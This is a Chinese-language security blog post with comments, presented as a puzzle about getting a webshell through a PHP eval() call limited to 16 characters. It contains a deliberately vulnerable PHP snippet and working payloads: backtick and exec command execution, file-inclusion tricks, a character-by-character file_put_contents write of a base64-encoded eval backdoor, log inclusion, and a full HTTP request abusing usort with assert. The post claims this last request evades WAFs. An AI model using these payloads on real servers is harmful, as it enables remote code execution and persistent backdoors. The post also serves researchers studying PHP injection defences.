eval长度限制绕过 && PHP5.6新特性

昨天晚上 @roker 在小密圈里问了一个问题,就是eval(xxx),xxx长度限制为16个字符,而且不能用eval或assert,怎么执行命令。

我把他的叙述写成代码,大概如下:

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?>

那么这个代码怎么拿到webshell?

命令执行的利用

这个是我得到最多的一种答案,大部分人都是利用命令执行来绕过限制,最短的是:

param=`$_GET[1]`;&1=bash

稍长一点的可以用exec:

param=exec($_GET[1]);

这个方法我就不多说了,送分题。

远程文件包含的利用

有的同学提到了远程文件,但正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。

不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。

这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。

本地文件包含的利用

那么,文件包含真的不行么?

有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:

param=$_GET[a](N,a,8);&a=file_put_contents

file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

除了file_put_contents,error_log函数效果也类似。

但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如param=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。

于是微博上 @买贴膜的 想出一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。

最后请求如下:

# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

成功getshell。

本地日志包含

这是 @lem0n 师傅想到的一个方法,首先通过各种方法找到web日志,然后利用上面说的include的方式来包含之。

param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log

如果找不到web日志,利用条件竞争的方法,包含tmp文件也可以,有心的同学可以试试。

标准答案:利用变长参数特性展开数组

这是我出这个题目时想的标准答案,其实也是roker提出的那个问题的一种解决方法。

变长参数是PHP5.6新引入的特性,文档在此: http://php.net/manual/zh/migration56.new-features.php

和Python中的**kwargs,类似,在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。

再结合我曾提到过的回调后门( https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html ),即可构造一个完美的利用,数据包如下:

POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

效果图:

14847507412871.jpg

大概过程就是,GET变量被展开成两个参数['test', 'phpinfo();']assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();。修改phpinfo();为webshell即可。

最后说一下,这个方法基本无视任何WAF,各个WAF需要关注了。

赞赏

喜欢这篇文章,扫码和我成为赞友!

评论

A11riseforme 回复

param=$_GET[a](N,a,8);&a=file_put_contents,第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
我想问下这个flag=8的时候是追加写文件是怎么知道的?我看网上的php手册上好像都没有提到这个,难道是一个一个试出来的?

phithon 回复

@A11riseforme php源码 ext/standard/file.h 定义的
```
#define PHP_FILE_USE_INCLUDE_PATH 1
#define PHP_FILE_IGNORE_NEW_LINES 2
#define PHP_FILE_SKIP_EMPTY_LINES 4
#define PHP_FILE_APPEND 8
#define PHP_FILE_NO_DEFAULT_CONTEXT 16
```
PHP_FILE_APPEND是8

A11riseforme 回复

@phithon 多谢~

跨境电商运营 回复

非常不错。。。。。。。

test 回复

想请教下,为什么用标准答案的方法时,get参数必须用数字才能正常执行,换成比如?a[]=test&a[]=phpinfo();&b=assert时就会失败,不知可否解答下

phithon 回复

@test:只有数字索引数组才能作为变长参数数组。

100 回复

神标准答案

captcha